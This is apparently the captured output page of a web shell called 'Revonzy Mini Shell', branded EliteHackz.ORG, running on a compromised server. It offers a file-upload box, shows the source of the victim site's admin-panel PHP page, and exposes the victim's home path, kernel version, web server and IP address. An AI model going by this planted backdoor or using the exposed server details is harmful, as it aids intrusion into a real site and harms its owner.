Revonzy Mini Shell

Şuanki Dizin: /home/shrishtiarchitec/public_html/adminpanel/pages/
Dosya Yükle :
Şuanki Dosya : /home/shrishtiarchitec/public_html/adminpanel/pages/index.php

<?php 
include('../../config.php');
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_ADMIN_INCLUDE.'/header.php');
$db = new DBConn();


//Get Here Category List
$getCategory=$db->ExecuteQuery("SELECT * FROM pages ORDER BY Pages_Id  Desc");
?>
<script type="text/javascript" src="pages.js"></script>
<div class="">
  <div class="page-title">
    <div class="title_left">
      <h3> Pages </h3>
    </div>
  </div>
  <div class="clearfix"></div>
  <div class="col-md-12 col-sm-12 col-xs-12">
                    <div class="x_panel">
                      <div class="x_title">
                        <h2>View List</h2>
                        
                        <div class="clearfix"></div>
                      </div>
                      <div class="x_content">
                         <!--<small><a href="<?php //echo LINK_CONTROL ?>/pages/addnew.php">add new</a></small>-->
                        <table id="datatable-responsive" class="table table-striped table-bordered dt-responsive nowrap" cellspacing="0" width="100%">
                          <thead>
                            <tr>
                              <th>No.</th>
                              <th>Page Title</th>
                              <th>File Name</th>
                              <th>Action</th>
                            </tr>
                          </thead>
                          <tbody>
                          <?php $i=1; if(count($getCategory)>0){ foreach($getCategory as $val){ ?>
                            <tr>
                              <td><?php echo $i;?></td>
                              <td><?php echo $val['Title'];?></td>
                              <td><?php echo $val['File_Name'];?></td>
                              <td><a href="edit.php?id=<?php echo $val['Pages_Id'];?>">Edit</a> <?php /*?> | <a class="delete" href="#" id="<?php echo $val['Category_Id'];?>"> Delete</a><?php */?></td>
                            </tr>
                            <?php $i++;}}else{ ?>
                            <tr><td colspan="6" align="center">Oops No Data Found</td></tr>
                            <?php } ?>
                          </tbody>
                        </table>
						<div id="deletemsg" title="Message" style="display:none; text-align:left;">
                            <p>You can not delete this category , <br/> becouse this category is used in sub-category</p>
                        </div>
                      </div>
                    </div>
                  </div>
  </div>

<?php 
require_once(PATH_ADMIN_INCLUDE.'/footer.php');

?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42